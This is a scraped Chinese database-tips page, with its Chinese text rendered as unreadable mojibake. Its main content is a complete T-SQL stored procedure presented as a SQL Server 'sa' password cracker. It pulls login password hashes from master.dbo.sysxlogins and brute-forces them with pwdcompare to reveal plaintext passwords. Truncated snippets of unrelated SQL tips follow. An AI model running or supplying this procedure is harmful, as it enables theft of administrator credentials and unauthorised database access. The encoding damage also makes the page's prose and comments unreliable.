´æ´¢¹ý³ÌʵÀý:SQL Server SaÃÜÂëÆÆ½â
Ò»¸öSQL Server SaÃÜÂëÆÆ½âµÄ´æ´¢¹ý³Ì:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO
/*--Çî¾Ù·¨ÆÆ½â SQL Server Óû§ÃÜÂë
¿ÉÒÔÆÆ½âÖÐÎÄ,ÌØÊâ×Ö·û,×Ö·û+Î²Ëæ¿Õ¸ñµÄÃÜÂë
ΪÁË·½±ãÏÔÊ¾ÌØÊâ×Ö·ûµÄÃÜÂë,ÔÚÏÔʾ½á¹ûÖÐ,ÏÔʾÁË×é³ÉÃÜÂëµÄASCII
ÀíÂÛÉÏ¿ÉÒÔÆÆ½âÈÎÒâλÊýµÄÃÜÂë
Ìõ¼þÊÇÄãµÄµçÄÔÅäÖÃ×ã¹»,ʱ¼ä×ã¹»
/*--µ÷ÓÃʾÀý
exec p_GetPassword
--*/
create proc p_GetPassword
@username sysname=null, --Óû§Ãû,Èç¹û²»Ö¸¶¨,ÔòÁгöËùÓÐÓû§
@pwdlen int=2 --񻮮½âµÄÃÜÂëµÄλÊý,ĬÈÏÊÇ2λ¼°ÒÔϵÄ
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select Óû§Ãû=name,ÃÜÂë=pwdstr,ÃÜÂëASCII=pwd
from #pwd
go
Ïà¹ØÎĵµ£º
¾¯±¨¹ÜÀí
×÷ÒµÖ´ÐÐʱ£¬SQL Server´íÎóÏûÏ¢µÄÐÅÏ¢´æ·ÅÔÚWindowsÊÂÎñÈÕÖ¾ÖС£SQL Server´úÀí¶ÁÈ¡Õâ¸öÈÕÖ¾£¬²¢±È½Ï´æ´¢µÄÏûÏ¢ÓëΪϵͳ¶¨ÒåµÄ¾¯±¨£¬Èç¹ûÆ¥Å䣬SQL Server´úÀí¼¤»î¸Ã¾¯±¨£¬ËùÒÔ£¬¾¯±¨¿ÉÒÔÓÃÓÚÏìӦDZÔÚµÄÎÊÌâ(ÈçÌîÂúÊÂÎñÈÕÖ¾)¡£µ±¾¯±¨±»´¥·¢Ê±£¬Í¨¹ýµç×ÓÓʼþ»òÕßѰºô֪ͨ²Ù×÷Ô±£¬´Ó¶øÈòÙ×÷Ô±Á˽âϵͳÖз¢ÉúÁËʲà ......
SQL ServerÈ«ÎÄË÷ÒýµÄ¸öÈË×ܽá(ÉÏ) -¹ØÓÚÖÐÎÄ·Ö´Ê
(2005-11-14 04:29:44)
×ªÔØ
·ÖÀࣺÉî¶ÈÑо¿
´ó¼Ò¶¼ÖªµÀLIKE²éѯºÜÂý£¬È«ÎÄË÷Òý¾ÍÊÇÊÂÏÈ×öºÃÏà¹ØµÄË÷Òý£¬±íʾÄĸöÖ÷Ìâ´Ê¿ÉÒÔÔÚÄÄЩ¼Ç¼ÀïÕÒµ½£¬ÉõÖÁÊÂÏȼÆËãºÃRANK£¬¼ìË÷ʱ¿ÉÒÔ°ÑÏà¹Ø¶È¸ßµÄÏÈÁгöÀ´£¬Õâ¿ÉÒÔ´ó´óÌá¸ß¼ìË÷µÄËÙ¶È¡£
´ò¸ö±È·½£¬ÄãÓÐ ......
---Ò»¸öÔµĵÚÒ»Ìì
SELECT DATEADD(mm, DATEDIFF(mm,0,getdate()), 0)
--- ±¾ÖܵÄÐÇÆÚÒ»
SELECT DATEADD(wk, DATEDIFF(wk,0,getdate()), 0)
---Ò»ÄêµÄµÚÒ»Ìì
SELECT DATEADD(yy, DATEDIFF(yy,0,getdate()), 0)
----¼¾¶ÈµÄµÚÒ»Ìì
SELECT DATEADD(qq, DATEDIFF(qq,0,getdate()), 0)
----ÉϸöÔµÄ×îºóÒ»Ìì
......
--¾ÛºÏº¯Êý
use pubs
go
select avg(distinct price) --ËãÆ½¾ùÊý
from titles
where type='business'
go
use pubs
go
select max(ytd_sales) --×î´óÊý
from titles
go
use pubs
go
select min(ytd_sales) --×îÐ¡Ê ......
ÐÐÁÐת»»
create table test(id int,name varchar(20),quarter int,profile int)
insert into test values(1,'a',1,1000)
insert into test values(1,'a',2,2000)
insert into test values(1,'a',3,4000)
insert into test values(1,'a',4,5000)
insert into test values(2,'b',1,3000)
insert into test values(2, ......